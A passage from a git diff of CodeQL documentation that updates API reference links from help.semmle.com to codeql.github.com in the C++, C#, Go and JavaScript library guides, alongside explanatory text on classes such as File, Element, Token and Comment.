https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$IntType.html +.. _LongLongType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$LongLongType.html +.. _LongType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$LongType.html +.. _ShortType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$ShortType.html +.. _WideCharType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$WideCharType.html +.. _NullPointerType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$NullPointerType.html +.. _DoubleType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$DoubleType.html +.. _LongDoubleType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$LongDoubleType.html +.. _FloatType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$FloatType.html +.. _AutoType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$AutoType.html +.. _Decltype: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$Decltype.html +.. _ArrayType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$ArrayType.html +.. _BlockType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$BlockType.html +.. _FunctionPointerType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$FunctionPointerType.html +.. _FunctionReferenceType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$FunctionReferenceType.html +.. _GNUVectorType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$GNUVectorType.html +.. _PointerType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$PointerType.html +.. _LValueReferenceType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$LValueReferenceType.html +.. _RValueReferenceType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$RValueReferenceType.html +.. _PointerToMemberType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$PointerToMemberType.html +.. _TemplateTemplateParameter: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$TemplateTemplateParameter.html +.. _TemplateParameter: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$TemplateParameter.html +.. _Preprocessor: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/module.Preprocessor.html +.. _PreprocessorElif: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorElif.html +.. _PreprocessorIf: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorIf.html +.. _PreprocessorIfdef: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorIfdef.html +.. _PreprocessorIfndef: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorIfndef.html +.. _PreprocessorElse: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorElse.html +.. _PreprocessorEndif: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorEndif.html +.. _PreprocessorLine: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorLine.html +.. _PreprocessorPragma: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorPragma.html +.. _PreprocessorUndef: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorUndef.html +.. _PreprocessorWarning: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorWarning.html +.. _PreprocessorError: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorError.html +.. _Include: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Include.qll/type.Include$Include.html +.. _Import: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Include.qll/type.Include$Import.html +.. _IncludeNext: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Include.qll/type.Include$IncludeNext.html +.. _Macro: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Macro.qll/type.Macro$Macro.html Further reading diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-csharp.rst b/docs/codeql/codeql-language-guides/codeql-library-for-csharp.rst index 99bb4f80805..c9357be9772 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-csharp.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-csharp.rst @@ -54,7 +54,7 @@ This overview omits some of the less important or intermediate classes from the Each class has predicates, which are logical propositions about that class. They also define navigable relationships between classes. Predicates are inherited, so for example the ``AddExpr`` class inherits the predicates ``getLeftOperand()`` and ``getRightOperand()`` from ``BinaryArithmeticOperation``, and ``getType()`` from class ``Expr``. This is similar to how methods are inherited in object-oriented programming languages. -In this overview, we present the most common and useful predicates. For the complete list of predicates available on each class, you can look in the CodeQL source code, use autocomplete in the editor, or see the `C# reference <https://help.semmle.com/qldoc/csharp>`__. +In this overview, we present the most common and useful predicates. For the complete list of predicates available on each class, you can look in the CodeQL source code, use autocomplete in the editor, or see the `C# reference <https://codeql.github.com/codeql-standard-libraries/csharp>`__. Exercises ~~~~~~~~~ @@ -74,7 +74,7 @@ Exercise 1: Simplify this query: Files ----- -Files are represented by the class `File <https://help.semmle.com/qldoc/csharp/semmle/code/csharp/File.qll/type.File$File.html>`__, and directories by the class `Folder <https://help.semmle.com/qldoc/csharp/semmle/code/csharp/File.qll/type.File$Folder.html>`__. The database contains all of the source files and assemblies used during the compilation. +Files are represented by the class `File <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/csharp/File.qll/type.File$File.html>`__, and directories by the class `Folder <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/csharp/File.qll/type.File$Folder.html>`__. The database contains all of the source files and assemblies used during the compilation. Class hierarchy ~~~~~~~~~~~~~~~ @@ -120,7 +120,7 @@ Exercise 2: Write a query to find the source file with the largest number of lin Elements -------- -The class `Element <https://help.semmle.com/qldoc/csharp/semmle/code/cil/Element.qll/type.Element$Element.html>`__ is the base class for all parts of a C# program, and it's the root of the element class hierarchy. All program elements (such as types, methods, statements, and expressions) ultimately derive from this common base class. +The class `Element <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/cil/Element.qll/type.Element$Element.html>`__ is the base class for all parts of a C# program, and it's the root of the element class hierarchy. All program elements (such as types, methods, statements, and expressions) ultimately derive from this common base class. ``Element`` forms a hierarchical structure of the program, which can be navigated using the ``getParent()`` and ``getChild()`` predicates. This is much like an abstract syntax tree, and also applies to elements in assemblies. @@ -150,7 +150,7 @@ Note that ``getAQlClass()`` is available on all entities and is a useful way to Locations --------- -`Location <https://help.semmle.com/qldoc/csharp/semmle/code/csharp/Location.qll/type.Location$Location.html>`__ represents a section of text in the source code, or an assembly. All elements have a ``Location`` obtained by their ``getLocation()`` predicate. A ``SourceLocation`` represents a span of text in source code, whereas an ``Assembly`` location represents a referenced assembly. +`Location <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/csharp/Location.qll/type.Location$Location.html>`__ represents a section of text in the source code, or an assembly. All elements have a ``Location`` obtained by their ``getLocation()`` predicate. A ``SourceLocation`` represents a span of text in source code, whereas an ``Assembly`` location represents a referenced assembly. Sometimes elements have several locations, for example if they occur in both source code and an assembly. In this case, only the ``SourceLocation`` is returned. @@ -189,7 +189,7 @@ Find all elements that are one character wide: Declarations ------------ -`Declaration <https://help.semmle.com/qldoc/csharp/semmle/code/cil/Declaration.qll/type.Declaration$Declaration.html>`__ is the common class of all entities defined in the program, such as types, methods, variables etc. The database contains all declarations from the source code and all referenced assemblies. +`Declaration <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/cil/Declaration.qll/type.Declaration$Declaration.html>`__ is the common class of all entities defined in the program, such as types, methods, variables etc. The database contains all declarations from the source code and all referenced assemblies. Class hierarchy ~~~~~~~~~~~~~~~ @@ -236,7 +236,7 @@ Find declarations containing a username: Variables --------- -The class `Variable <https://help.semmle.com/qldoc/csharp/semmle/code/cil/Variable.qll/type.Variable$Variable.html>`__ represents C# variables, such as fields, parameters and local variables. The database contains all variables from the source code, as well as all fields and parameters from assemblies referenced by the program. +The class `Variable <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/cil/Variable.qll/type.Variable$Variable.html>`__ represents C# variables, such as fields, parameters and local variables. The database contains all variables from the source code, as well as all fields and parameters from assemblies referenced by the program. Class hierarchy ~~~~~~~~~~~~~~~ @@ -285,7 +285,7 @@ Find all unused local variables: Types ----- -Types are represented by the CodeQL class `Type <https://help.semmle.com/qldoc/csharp/semmle/code/cil/Type.qll/type.Type$Type.html>`__ and consist of builtin types, interfaces, classes, structs, enums, and type parameters. The database contains types from the program and all referenced assemblies including mscorlib and the .NET framework. +Types are represented by the CodeQL class `Type <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/cil/Type.qll/type.Type$Type.html>`__ and consist of builtin types, interfaces, classes, structs, enums, and type parameters. The database contains types from the program and all referenced assemblies including mscorlib and the .NET framework. The builtin types (``object``, ``int``, ``double`` etc.) have corresponding types (``System.Object``, ``System.Int32`` etc.) in mscorlib. @@ -440,7 +440,7 @@ Exercise 5: Write a query to find all classes starting with the letter ``A``. (` Callables --------- -Callables are represented by the class `Callable <https://help.semmle.com/qldoc/csharp/semmle/code/csharp/Callable.qll/type.Callable$Callable.html>`__ and are anything that can be called independently, such as methods, constructors, destructors, operators, anonymous functions, indexers, and property accessors. +Callables are represented by the class `Callable <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/csharp/Callable.qll/type.Callable$Callable.html>`__ and are anything that can be called independently, such as methods, constructors, destructors, operators, anonymous functions, indexers, and property accessors. The database contains all of the callables in your program and in all referenced assemblies. @@ -566,7 +566,7 @@ Find ``Main`` methods which are not ``private``: Statements ---------- -Statements are represented by the class `Stmt <https://help.semmle.com/qldoc/csharp/semmle/code/csharp/Stmt.qll/type.Stmt$Stmt.html>`__ and make up the body of methods (and other callables). The database contains all statements in the source code, but does not contain any statements from referenced assemblies where the source code is not available. +Statements are represented by the class `Stmt <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/csharp/Stmt.qll/type.Stmt$Stmt.html>`__ and make up the body of methods (and other callables). The database contains all statements in the source code, but does not contain any statements from referenced assemblies where the source code is not available. Class hierarchy ~~~~~~~~~~~~~~~ @@ -691,7 +691,7 @@ Exercise 8: Modify the last example to exclude chains of ``if`` statements, wher Expressions ----------- -The `Expr <https://help.semmle.com/qldoc/csharp/semmle/code/csharp/exprs/Expr.qll/type.Expr$Expr.html>`__ class represents all C# expressions in the program. An expression is something producing a value such as ``a+b`` or ``new List<int>()``. The database contains all expressions from the source code, but no expressions from referenced assemblies where the source code is not available. +The `Expr <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/csharp/exprs/Expr.qll/type.Expr$Expr.html>`__ class represents all C# expressions in the program. An expression is something producing a value such as ``a+b`` or ``new List<int>()``. The database contains all expressions from the source code, but no expressions from referenced assemblies where the source code is not available. The ``Access`` class represents any use or cross-reference of another ``Declaration`` such a variable, property, method or field. The ``getTarget()`` predicate gets the declaration being accessed. @@ -924,7 +924,7 @@ Exercise 9: Limit the previous query to string types. Exclude empty passwords or Attributes ---------- -C# attributes are represented by the class `Attribute <https://help.semmle.com/qldoc/csharp/semmle/code/cil/Attribute.qll/type.Attribute$Attribute.html>`__. They can be present on many C# elements, such as classes, methods, fields, and parameters. The database contains attributes from the source code and all assembly references. +C# attributes are represented by the class `Attribute <https://codeql.github.com/codeql-standard-libraries/csharp/semmle/code/cil/Attribute.qll/type.Attribute$Attribute.html>`__. They can be present on many C# elements, such as classes, methods, fields, and parameters. The database contains attributes from the source code and all assembly references. The attribute of any ``Element`` can be obtained via ``getAnAttribute()``, whereas if you have an attribute, you can find its element via ``getTarget()``. These two query fragments are identical: diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-go.rst b/docs/codeql/codeql-language-guides/codeql-library-for-go.rst index cfc97df9671..fa50eaefc8d 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-go.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-go.rst @@ -44,7 +44,7 @@ analysis involving deeper semantic properties of the program should be done on t The rest of this tutorial briefly summarizes the most important classes and predicates provided by this library, including references to the `detailed API documentation -<https://help.semmle.com/qldoc/go/>`__ where applicable. We start by giving an overview of the AST +<https://codeql.github.com/codeql-standard-libraries/go/>`__ where applicable. We start by giving an overview of the AST representation, followed by an explanation of names and entities, which are used to represent name-binding information, and of types and type information. Then we move on to control flow and the data-flow graph, and finally the call graph and a few advanced topics. @@ -69,7 +69,7 @@ first child, reflecting their order in the program text. Similarly, ``x + y`` is ``(x + y)``, which is the zeroth child of ``(x + y) * z``, whose first child is ``z``. All AST nodes belong to class `AstNode -<https://help.semmle.com/qldoc/go/semmle/go/AST.qll/type.AST$AstNode.html>`__, which defines generic +<https://codeql.github.com/codeql-standard-libraries/go/semmle/go/AST.qll/type.AST$AstNode.html>`__, which defines generic tree traversal predicates: - ``getChild(i)``: returns the ``i``\ th child of this AST node. @@ -88,20 +88,20 @@ access to the source text corresponding to an AST node. The source text is not s dataset, and hence is not directly accessible to CodeQL queries. The predicate ``getLocation()`` in class ``AstNode`` returns a `Location -<https://help.semmle.com/qldoc/go/semmle/go/Locations.qll/type.Locations$Location.html>`__ entity +<https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Locations.qll/type.Locations$Location.html>`__ entity describing the source location of the program element represented by the AST node. You can use its member predicates ``getFile()``, ``getStartLine()``, ``getStartColumn``, ``getEndLine()``, and ``getEndColumn()`` to obtain information about its file, start line and column, and end line and column. The most important subclasses of `AstNode -<https://help.semmle.com/qldoc/go/semmle/go/AST.qll/type.AST$AstNode.html>`__ are `Stmt -<https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html>`__ and `Expr -<https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__, which represent +<https://codeql.github.com/codeql-standard-libraries/go/semmle/go/AST.qll/type.AST$AstNode.html>`__ are `Stmt +<https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html>`__ and `Expr +<https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__, which represent statements and expressions, respectively. This section briefly discusses some of their more important subclasses and predicates. For a full reference of all the subclasses of `Stmt -<https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html>`__ and `Expr -<https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__, see +<https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html>`__ and `Expr +<https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__, see :doc:`Abstract syntax tree classes for Go <abstract-syntax-tree-classes-for-working-with-go-programs>`. Statements diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst b/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst index 3fd67ed8d94..d82d30e2222 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst @@ -16,7 +16,7 @@ The library is implemented as a set of QL modules, that is, files with the exten import javascript -The rest of this tutorial briefly summarizes the most important classes and predicates provided by this library, including references to the `detailed API documentation <https://help.semmle.com/qldoc/javascript/>`__ where applicable. +The rest of this tutorial briefly summarizes the most important classes and predicates provided by this library, including references to the `detailed API documentation <https://codeql.github.com/codeql-standard-libraries/javascript/>`__ where applicable. Introducing the library ----------------------- @@ -48,21 +48,21 @@ Note that the textual content of a program is not included in the CodeQL databas Files and folders ^^^^^^^^^^^^^^^^^ -In the CodeQL libraries, files are represented as entities of class `File <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__, and folders as entities of class `Folder <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$Folder.html>`__, both of which are subclasses of class `Container <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$Container.html>`__. +In the CodeQL libraries, files are represented as entities of class `File <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__, and folders as entities of class `Folder <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$Folder.html>`__, both of which are subclasses of class `Container <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$Container.html>`__. -Class `Container <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$Container.html>`__ provides the following member predicates: +Class `Container <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$Container.html>`__ provides the following member predicates: - ``Container.getParentContainer()`` returns the parent folder of the file or folder. - ``Container.getAFile()`` returns a file within the folder. - ``Container.getAFolder()`` returns a folder nested within the folder. -Note that while ``getAFile`` and ``getAFolder`` are declared on class `Container <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$Container.html>`__, they currently only have results for `Folder <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$Folder.html>`__\ s. +Note that while ``getAFile`` and ``getAFolder`` are declared on class `Container <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$Container.html>`__, they currently only have results for `Folder <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$Folder.html>`__\ s. Both files and folders have paths, which can be accessed by the predicate ``Container.getAbsolutePath()``. For example, if ``f`` represents a file with the path ``/home/user/project/src/index.js``, then ``f.getAbsolutePath()`` evaluates to the string ``"/home/user/project/src/index.js"``, while ``f.getParentContainer().getAbsolutePath()`` returns ``"/home/user/project/src"``. These paths are absolute file system paths. If you want to obtain the path of a file relative to the source location in the CodeQL database, use ``Container.getRelativePath()`` instead. Note, however, that a database may contain files that are not located underneath the source location; for such files, ``getRelativePath()`` will not return anything. -The following member predicates of class `Container <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$Container.html>`__ provide more information about the name of a file or folder: +The following member predicates of class `Container <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$Container.html>`__ provide more information about the name of a file or folder: - ``Container.getBaseName()`` returns the base name of a file or folder, not including its parent folder, but including its extension. In the above example, ``f.getBaseName()`` would return the string ``"index.js"``. - ``Container.getStem()`` is similar to ``Container.getBaseName()``, but it does *not* include the file extension; so ``f.getStem()`` returns ``"index"``. @@ -84,7 +84,7 @@ Locations Most entities in a CodeQL database have an associated source location. Locations are identified by four pieces of information: a file, a start line, a start column, an end line, and an end column. Line and column counts are 1-based (so the first character of a file is at line 1, column 1), and the end position is inclusive. -All entities associated with a source location belong to the class `Locatable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Locations.qll/type.Locations$Locatable.html>`__. The location itself is modeled by the class `Location <https://help.semmle.com/qldoc/javascript/semmle/javascript/Locations.qll/type.Locations$Location.html>`__ and can be accessed through the member predicate ``Locatable.getLocation()``. The `Location <https://help.semmle.com/qldoc/javascript/semmle/javascript/Locations.qll/type.Locations$Location.html>`__ class provides the following member predicates: +All entities associated with a source location belong to the class `Locatable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Locations.qll/type.Locations$Locatable.html>`__. The location itself is modeled by the class `Location <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Locations.qll/type.Locations$Location.html>`__ and can be accessed through the member predicate ``Locatable.getLocation()``. The `Location <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Locations.qll/type.Locations$Location.html>`__ class provides the following member predicates: - ``Location.getFile()``, ``Location.getStartLine()``, ``Location.getStartColumn()``, ``Location.getEndLine()``, ``Location.getEndColumn()`` return detailed information about the location. - ``Location.getNumLines()`` returns the number of (whole or partial) lines covered by the location. @@ -94,7 +94,7 @@ All entities associated with a source location belong to the class `Locatable <h Lines ^^^^^ -Lines of text in files are represented by the class `Line <https://help.semmle.com/qldoc/javascript/semmle/javascript/Lines.qll/type.Lines$Line.html>`__. This class offers the following member predicates: +Lines of text in files are represented by the class `Line <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Lines.qll/type.Lines$Line.html>`__. This class offers the following member predicates: - ``Line.getText()`` returns the text of the line, excluding any terminating newline characters. - ``Line.getTerminator()`` returns the terminator character(s) of the line. The last line in a file may not have any terminator characters, in which case this predicate does not return anything; otherwise it returns either the two-character string ``"\r\n"`` (carriage-return followed by newline), or one of the one-character strings ``"\n"`` (newline), ``"\r"`` (carriage-return), ``"\u2028"`` (Unicode character LINE SEPARATOR), ``"\u2029"`` (Unicode character PARAGRAPH SEPARATOR). @@ -104,23 +104,23 @@ Note that, as mentioned above, the textual representation of the program is not Lexical level ~~~~~~~~~~~~~ -A slightly more structured view of a JavaScript program is provided by the classes `Token <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$Token.html>`__ and `Comment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$Comment.html>`__, which represent tokens and comments, respectively. +A slightly more structured view of a JavaScript program is provided by the classes `Token <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$Token.html>`__ and `Comment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$Comment.html>`__, which represent tokens and comments, respectively. Tokens ^^^^^^ -The most important member predicates of class `Token <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$Token.html>`__ are as follows: +The most important member predicates of class `Token <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$Token.html>`__ are as follows: - ``Token.getValue()`` returns the source text of the token. - ``Token.getIndex()`` returns the index of the token within its enclosing script. - ``Token.getNextToken()`` and ``Token.getPreviousToken()`` navigate between tokens. -The `Token <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$Token.html>`__ class has nine subclasses, each representing a particular kind of token: +The `Token <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$Token.html>`__ class has nine subclasses, each representing a particular kind of token: -- `EOFToken <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$EOFToken.html>`__: a marker token representing the end of a script -- `NullLiteralToken <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$NullLiteralToken.html>`__, `BooleanLiteralToken <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$BooleanLiteralToken.html>`__, `NumericLiteralToken <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$NumericLiteralToken.html>`__, `StringLiteralToken <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$StringLiteralToken.html>`__ and `RegularExpressionToken <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$RegularExpressionToken.html>`__: different kinds of literals -- `IdentifierToken <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$IdentifierToken.html>`__ and `KeywordToken <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$KeywordToken.html>`__: identifiers and keywords (including reserved words) respectively -- `PunctuatorToken <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$PunctuatorToken.html>`__: operators and other punctuation symbols +- `EOFToken <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$EOFToken.html>`__: a marker token representing the end of a script +- `NullLiteralToken <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$NullLiteralToken.html>`__, `BooleanLiteralToken <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$BooleanLiteralToken.html>`__, `NumericLiteralToken <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$NumericLiteralToken.html>`__, `StringLiteralToken <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$StringLiteralToken.html>`__ and `RegularExpressionToken <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$RegularExpressionToken.html>`__: different kinds of literals +- `IdentifierToken <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$IdentifierToken.html>`__ and `KeywordToken <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$KeywordToken.html>`__: identifiers and keywords (including reserved words) respectively +- `PunctuatorToken <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$PunctuatorToken.html>`__: operators and other punctuation symbols As an example of a query operating entirely on the lexical level, consider the following query, which finds consecutive comma tokens arising from an omitted element in an array expression: @@ -145,30 +145,30 @@ You can use predicate ``Locatable.getFirstToken()`` and ``Locatable.getLastToken Comments ^^^^^^^^ -The class `Comment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$Comment.html>`__ and its subclasses represent the different kinds of comments that can occur in JavaScript programs: +The class `Comment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$Comment.html>`__ and its subclasses represent the different kinds of comments that can occur in JavaScript programs: -- `Comment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$Comment.html>`__: any comment +- `Comment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$Comment.html>`__: any comment - - `LineComment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$LineComment.html>`__: a single-line comment terminated by an end-of-line character + - `LineComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$LineComment.html>`__: a single-line comment terminated by an end-of-line character - - `SlashSlashComment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$SlashSlashComment.html>`__: a plain JavaScript single-line comment starting with ``//`` - - `HtmlLineComment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$HtmlLineComment.html>`__: a (non-standard) HTML comment + - `SlashSlashComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$SlashSlashComment.html>`__: a plain JavaScript single-line comment starting with ``//`` + - `HtmlLineComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$HtmlLineComment.html>`__: a (non-standard) HTML comment - - `HtmlCommentStart <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$HtmlCommentStart.html>`__: an HTML comment starting with ``<!--`` + - `HtmlCommentStart <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$HtmlCommentStart.html>`__: an HTML comment starting with ``<!--`` - - `HtmlCommentEnd <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$HtmlCommentEnd.html>`__: an HTML comment ending with ``-->`` + - `HtmlCommentEnd <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$HtmlCommentEnd.html>`__: an HTML comment ending with ``-->`` -- `BlockComment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$BlockComment.html>`__: a block comment potentially spanning multiple lines +- `BlockComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$BlockComment.html>`__: a block comment potentially spanning multiple lines - - `SlashStarComment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$SlashStarComment.html>`__: a plain JavaScript block comment surrounded with ``/*...*/`` - - `DocComment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$DocComment.html>`__: a documentation block comment surrounded with ``/**...*/`` + - `SlashStarComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$SlashStarComment.html>`__: a plain JavaScript block comment surrounded with ``/*...*/`` + - `DocComment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$DocComment.html>`__: a documentation block comment surrounded with ``/**...*/`` The most important member predicates are as follows: - ``Comment.getText()`` returns the source text of the comment, not including delimiters. - ``Comment.getLine(i)`` returns the ``i``\ th line of text within the comment (0-based). - 